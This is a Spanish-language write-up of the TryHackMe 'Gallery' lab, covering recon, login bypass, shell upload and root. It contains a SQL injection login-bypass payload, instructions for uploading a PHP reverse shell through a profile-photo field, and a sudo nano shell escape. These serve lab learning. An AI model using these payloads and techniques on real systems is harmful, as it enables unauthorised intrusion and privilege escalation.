Gallery


December 21, 20225 minutes

https://tryhackme.com/room/gallery666

IP Atacante = 10.10.10.10

IP víctima = 10.10.250.47

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.250.47
PING 10.10.250.47 (10.10.250.47) 56(84) bytes of data.
64 bytes from 10.10.250.47: icmp_seq=1 ttl=63 time=52.3 ms

--- 10.10.250.47 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.300/52.300/52.300/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

❯ sudo nmap -p- --open -sS --min-rate 5000 -Pn -vvv -n 10.10.110.190 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.110.190
   5[*] Open ports: 80,8080
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p80,8080 -sC -sV 10.10.110.190 -oN target

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Simple Image Gallery System
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Web

Con el whatweb podemos ver más información de la web

❯ whatweb 10.10.110.190
http://10.10.110.190 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.110.190], Title[Apache2 Ubuntu Default Page: It works]

Buscando subdirectorios

Con wfuzz vamos a fuzzear mediante el dicionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt para encontrar subdirectorios

wfuzz -c -t 200 --hc=404 --hh=42126 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.151.26/FUZZ

Nos reporta el directorio /gallery

Al entrar nos lleva a /gallery/login.php y vemos un panel para iniciar sessión, primero comprobamos si admin:admin funciona, pero no. Podemos probar con usuario ' or 1 = 1-- - y cualquier contraseña y ya nos entra

Admin

Ahora estamos dentro de la cuenta de administrador y podemos ver los álbums, Al entrar dentro de uno vemos que nos deja subir fotos nuevas.

Al probar de subir un .php no lo acepta, con burpsuite he probado con un diccionario de extensiones y solo acepta extensiones de fotos

Dentro de la configuración del perfil del admin, hay un apartado para cambiar la foto. El mensaje, dice, selecciona un archivo. Podemos intentar mandarle un archivo .php para mandarnos una reverse shell

Intrusión

Vamos a intentar subir un archivo php de pentestmonkey para la reverse shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.

Es importante cambiar las líneas de ip y port y poner la ip de nuestra máquina y el puerto por el que nos vamos a poner en escucha con netcat (443)

Ahora ya podemos subir el archivo y al darle a update, recibimos a reverse shell

Escalada de privilegios

Tratamiento de la tty

Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Mike

Si vamos a /home/mike podemos ver que hay un archivo llamado user.txt el cual debe contener la flag de usuario, Pero no tenemos permisos para leerlo ni para entrar en la carpeta Documents e Images.

Después de estar un rato buscando he encontrado que en /var/backups hay una carpeta llamada mike_home_backup en la cual están los archivos de mike y tenemos permisos para leerlos.

Dentro de Documents hay un archivo con 3 contraseñas de otras webs con el usuario mike, he probado si alguna de estas sirve para esta máquina pero no.

En Images, hay 3 fotos las cuales he mirado si tenían algún archivo oculto pero no

Con un ls -a podemos ver que hay un historial .bash_historycon un cat podemos ver su contenido, dentro hay un comando en el que parece especificar una contraseña: sudo -lb3stpassw0rdbr0xx con el comando su mike y proporcionando la contraseña b3stpassw0rdbr0xx ya somos mike

Ya podemos ver la flag

Root

Con sudo -l Podemos ver que puede ejecutar lo siguiente como root sin contraseña /bin/bash /opt/rootkit.sh

Al ejecutar sudo /bin/bash /opt/rootkit.sh y le damos a read nos abre un archivo con un texto muy largo. Como estamos ejecutando nano como root podemos probar con ctrl + r, ctrl + x y escribiendo reset; sh 1>&0 2>&0, ya somos root